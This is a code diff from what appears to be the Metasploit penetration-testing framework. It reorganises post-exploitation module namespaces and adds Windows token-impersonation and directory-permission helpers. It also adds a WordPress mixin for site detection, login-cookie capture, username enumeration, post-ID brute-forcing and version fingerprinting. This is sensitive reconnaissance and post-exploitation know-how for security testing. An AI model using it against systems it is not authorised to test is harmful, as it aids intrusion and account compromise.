|
||||
end
|
||||
|
4
lib/msf/core/post/linux.rb
Normal file
4
lib/msf/core/post/linux.rb
Normal file
@ -0,0 +1,4 @@
|
||||
module Msf::Post::Linux
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/post/linux/system'
|
||||
end
|
5
lib/msf/core/post/osx.rb
Normal file
5
lib/msf/core/post/osx.rb
Normal file
@ -0,0 +1,5 @@
|
||||
|
||||
module Msf::Post::OSX
|
||||
require 'msf/core/post/osx/system'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
end
|
@ -1,11 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
module System
|
||||
module Msf::Post::OSX::System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
@ -108,7 +103,4 @@ module System
|
||||
end
|
||||
return groups
|
||||
end
|
||||
end # System
|
||||
end # OSX
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
4
lib/msf/core/post/solaris.rb
Normal file
4
lib/msf/core/post/solaris.rb
Normal file
@ -0,0 +1,4 @@
|
||||
module Msf::Post::Solaris
|
||||
require 'msf/core/post/solaris/priv'
|
||||
require 'msf/core/post/solaris/system'
|
||||
end
|
@ -1,8 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Unix
|
||||
module Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
@ -83,6 +81,3 @@ module Unix
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
15
lib/msf/core/post/windows.rb
Normal file
15
lib/msf/core/post/windows.rb
Normal file
@ -0,0 +1,15 @@
|
||||
|
||||
module Msf::Post::Windows
|
||||
require 'msf/core/post/windows/accounts'
|
||||
require 'msf/core/post/windows/cli_parse'
|
||||
require 'msf/core/post/windows/eventlog'
|
||||
require 'msf/core/post/windows/file_info'
|
||||
require 'msf/core/post/windows/powershell'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/shadowcopy'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
end
|
@ -177,6 +177,71 @@ module Accounts
|
||||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
@ -2,12 +2,7 @@
|
||||
|
||||
require 'msf/core/post/windows/accounts'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Priv
|
||||
|
||||
module Msf::Post::Windows::Priv
|
||||
include ::Msf::Post::Windows::Accounts
|
||||
|
||||
LowIntegrityLevel = 'S-1-16-4096'
|
||||
@ -177,7 +172,3 @@ module Priv
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -2,22 +2,21 @@
|
||||
require 'msf/core'
|
||||
require 'msf/core/module'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A mixin used for providing Modules with post-exploitation options and helper methods
|
||||
#
|
||||
module PostMixin
|
||||
module Msf::PostMixin
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Module::HasActions
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options( [
|
||||
OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
] , Msf::Post)
|
||||
|
||||
# Default stance is active
|
||||
@ -217,5 +216,3 @@ protected
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
35
lib/msf/http/wordpress.rb
Normal file
35
lib/msf/http/wordpress.rb
Normal file
@ -0,0 +1,35 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with wordpress installations
|
||||
module Msf
|
||||
module HTTP
|
||||
module Wordpress
|
||||
require 'msf/http/wordpress/base'
|
||||
require 'msf/http/wordpress/helpers'
|
||||
require 'msf/http/wordpress/login'
|
||||
require 'msf/http/wordpress/posts'
|
||||
require 'msf/http/wordpress/uris'
|
||||
require 'msf/http/wordpress/users'
|
||||
require 'msf/http/wordpress/version'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress::Base
|
||||
include Msf::HTTP::Wordpress::Helpers
|
||||
include Msf::HTTP::Wordpress::Login
|
||||
include Msf::HTTP::Wordpress::Posts
|
||||
include Msf::HTTP::Wordpress::URIs
|
||||
include Msf::HTTP::Wordpress::Users
|
||||
include Msf::HTTP::Wordpress::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
28
lib/msf/http/wordpress/base.rb
Normal file
28
lib/msf/http/wordpress/base.rb
Normal file
@ -0,0 +1,28 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
122
lib/msf/http/wordpress/helpers.rb
Normal file
122
lib/msf/http/wordpress/helpers.rb
Normal file
@ -0,0 +1,122 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Helpers
|
||||
|
||||
# Helper methods are private and should not be called by modules
|
||||
private
|
||||
|
||||
# Returns the POST data for a Wordpress login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param redirect URL [String] to redirect after successful login
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def wordpress_helper_login_post_data(user, pass, redirect=nil)
|
||||
post_data = {
|
||||
'log' => user.to_s,
|
||||
'pwd' => pass.to_s,
|
||||
'redirect_to' => redirect.to_s,
|
||||
'wp-submit' => 'Login'
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
# Helper method to post a comment to Wordpress
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
|
||||
vars_post = {
|
||||
'comment' => comment,
|
||||
'submit' => 'Post+Comment',
|
||||
'comment_post_ID' => comment_post_id.to_s,
|
||||
'comment_parent' => '0'
|
||||
}
|
||||
vars_post.merge!({
|
||||
'author' => author,
|
||||
'email' => email,
|
||||
'url' => url,
|
||||
}) unless login_cookie
|
||||
|
||||
options = {
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
||||
'method' => 'POST'
|
||||
}
|
||||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
message << " Status Code: #{res.code}" if res
|
||||
print_error(message)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Helper method for bruteforcing a valid post id
|
||||
#
|
||||
# @param range [Range] The Range of post_ids to bruteforce
|
||||
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
|
||||
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
|
||||
range.each { |id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
||||
return id if body
|
||||
}
|
||||
# no post found
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method to check if a post is valid an has comments enabled
|
||||
#
|
||||
# @param uri [String] the Post URI Path
|
||||
# @param comments_enabled [Boolean] Check if comments are enabled on this post
|
||||
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
}
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
# post exists
|
||||
if res and res.code == 200
|
||||
# also check if comments are enabled
|
||||
if comments_enabled
|
||||
if res.body =~ /form.*action.*wp-comments-post\.php/
|
||||
return res.body
|
||||
else
|
||||
return nil
|
||||
end
|
||||
# valid post found, not checking for comments
|
||||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method parse a Location header and returns only the path and query. Returns nil on error
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
|
||||
location = res.headers['Location']
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
end
|
37
lib/msf/http/wordpress/login.rb
Normal file
37
lib/msf/http/wordpress/login.rb
Normal file
@ -0,0 +1,37 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match[0] if match
|
||||
|
||||
# support for older wordpress versions
|
||||
# Wordpress 2.0
|
||||
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
|
||||
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
|
||||
|
||||
# Wordpress 2.5
|
||||
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match_2_5[0] if match_2_5
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
157
lib/msf/http/wordpress/posts.rb
Normal file
157
lib/msf/http/wordpress/posts.rb
Normal file
@ -0,0 +1,157 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Posts
|
||||
|
||||
# Posts a comment as an authenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
|
||||
end
|
||||
|
||||
# Posts a comment as an unauthenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
|
||||
end
|
||||
|
||||
# Wordpress shows moderated comments to the unauthenticated Posting user
|
||||
# Users are identified by their cookie
|
||||
#
|
||||
# @param author [String] The author name used to post the anonymous comment
|
||||
# @param email [String] The author email used to post the anonymous comment
|
||||
# @param url [String] The author url used to post the anonymous comment
|
||||
# @return [String] The cookie string that can be used to see moderated comments
|
||||
def wordpress_get_unauth_comment_cookies(author, email, url)
|
||||
scheme = ssl ? 'https' : 'http'
|
||||
port = (rport == 80 or rport == 443) ? '' : rport
|
||||
# siteurl does not contain last slash
|
||||
path = target_uri.to_s.sub(/\/$/, '')
|
||||
siteurl = "#{scheme}://#{rhost}#{port}#{path}"
|
||||
site_hash = Rex::Text.md5(siteurl)
|
||||
cookie = "comment_author_#{site_hash}=#{author}; "
|
||||
cookie << "comment_author_email_#{site_hash}=#{email}; "
|
||||
cookie << "comment_author_url_#{site_hash}=#{url};"
|
||||
cookie
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, false, login_cookie)
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id with comments enabled
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param post_id [Integer] The post ID to check
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param url [String] The post url
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_comments_enabled?(url, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(url, true, login_cookie)
|
||||
end
|
||||
|
||||
# Gets the post_id from a post body
|
||||
#
|
||||
# @param body [String] The body of a post
|
||||
# @return [String,nil] The post_id, nil when nothing found
|
||||
def get_post_id_from_body(body)
|
||||
return nil unless body
|
||||
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
|
||||
end
|
||||
|
||||
# Tries to get some Blog Posts via the RSS feed
|
||||
#
|
||||
# @param max_redirects [Integer] maximum redirects to follow
|
||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||
blog_posts = []
|
||||
|
||||
begin
|
||||
vprint_status("#{peer} - Locating wordpress feed...")
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_rss,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.code == 200
|
||||
vprint_status("#{peer} - Feed located at #{path}")
|
||||
else
|
||||
vprint_status("#{peer} - Returned a #{res.code}...")
|
||||
end
|
||||
count = count - 1
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
# parse out links and place in array
|
||||
links = res.body.scan(/<link>([^<]+)<\/link>/i)
|
||||
|
||||
if links.nil? or links.empty?
|
||||
vprint_status("#{peer} - Feed did not have any links present")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
links.each do |link|
|
||||
path = path_from_uri(link[0])
|
||||
blog_posts << path if path
|
||||
end
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
end
|
69
lib/msf/http/wordpress/uris.rb
Normal file
69
lib/msf/http/wordpress/uris.rb
Normal file
@ -0,0 +1,69 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::URIs
|
||||
|
||||
# Returns the Wordpress Login URL
|
||||
#
|
||||
# @return [String] Wordpress Login URL
|
||||
def wordpress_url_login
|
||||
normalize_uri(target_uri.path, 'wp-login.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Post URL
|
||||
#
|
||||
# @param post_id [Integer] Post ID
|
||||
# @return [String] Wordpress Post URL
|
||||
def wordpress_url_post(post_id)
|
||||
normalize_uri(target_uri.path, "?p=#{post_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress Author URL
|
||||
#
|
||||
# @param author_id [Integer] Author ID
|
||||
# @return [String] Wordpress Author URL
|
||||
def wordpress_url_author(author_id)
|
||||
normalize_uri(target_uri.path, "?author=#{author_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress RSS feed URL
|
||||
#
|
||||
# @return [String] Wordpress RSS URL
|
||||
def wordpress_url_rss
|
||||
normalize_uri(target_uri.path, '?feed=rss2')
|
||||
end
|
||||
|
||||
# Returns the Wordpress RDF feed URL
|
||||
#
|
||||
# @return [String] Wordpress RDF URL
|
||||
def wordpress_url_rdf
|
||||
normalize_uri(target_uri.path, 'feed/rdf/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress ATOM feed URL
|
||||
#
|
||||
# @return [String] Wordpress ATOM URL
|
||||
def wordpress_url_atom
|
||||
normalize_uri(target_uri.path, 'feed/atom/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Readme file URL
|
||||
#
|
||||
# @return [String] Wordpress Readme file URL
|
||||
def wordpress_url_readme
|
||||
normalize_uri(target_uri.path, 'readme.html')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Sitemap URL
|
||||
#
|
||||
# @return [String] Wordpress Sitemap URL
|
||||
def wordpress_url_sitemap
|
||||
normalize_uri(target_uri.path, 'sitemap.xml')
|
||||
end
|
||||
|
||||
# Returns the Wordpress OPML URL
|
||||
#
|
||||
# @return [String] Wordpress OPML URL
|
||||
def wordpress_url_opml
|
||||
normalize_uri(target_uri.path, 'wp-links-opml.php')
|
||||
end
|
||||
|
||||
end
|
65
lib/msf/http/wordpress/users.rb
Normal file
65
lib/msf/http/wordpress/users.rb
Normal file
@ -0,0 +1,65 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Users
|
||||
|
||||
# Checks if the given user exists
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @return [Boolean] true if the user exists
|
||||
def wordpress_user_exists?(user)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
|
||||
})
|
||||
|
||||
return true if res and res.code == 200 and
|
||||
(res.body.to_s =~ /Incorrect password/ or
|
||||
res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# Checks if the given userid exists
|
||||
#
|
||||
# @param user_id [Integer] user_id
|
||||
# @return [String,nil] the Username if it exists, nil otherwise
|
||||
def wordpress_userid_exists?(user_id)
|
||||
# Wordpress returns all posts from all users on user_id 0
|
||||
return nil if user_id < 1
|
||||
|
||||
url = wordpress_url_author(user_id)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
if uri.to_s =~ /\/author\/([^\/\b]+)\/?/i
|
||||
return $1
|
||||
end
|
||||
uri = "#{uri.path}?#{uri.query}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Error getting response.")
|
||||
return nil
|
||||
elsif res.code == 200 and
|
||||
(
|
||||
res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
|
||||
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i or
|
||||
res.body =~ /Posts by (\w+) Feed/i or
|
||||
res.body =~ /<span class='vcard'><a class='url fn n' href='[^"']+' title='[^"']+' rel='me'>([^<]+)<\/a><\/span>/i or
|
||||
res.body =~ /<title>.*(\b\w+\b)<\/title>/i
|
||||
)
|
||||
return $1
|
||||
end
|
||||
end
|
||||
|
||||
end
|
64
lib/msf/http/wordpress/version.rb
Normal file
64
lib/msf/http/wordpress/version.rb
Normal file
@ -0,0 +1,64 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
end
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
@ -1112,8 +1112,8 @@ class Db
|
||||
else
|
||||
# Anything that wasn't an option is a host to search for
|
||||
unless (arg_host_range(arg, host_ranges))
|
||||
return
|
||||
end
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@ -1546,7 +1546,8 @@ class Db
|
||||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
if (::File.exists? ::File.expand_path(file))
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exists? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
@ -1744,23 +1745,31 @@ class Db
|
||||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+
|
||||
#
|
||||
# Returns true if parsing was successful or nil otherwise.
|
||||
#
|
||||
# NOTE: This modifies +host_ranges+
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
# @param arg [String] The thing to turn into a RangeWalker
|
||||
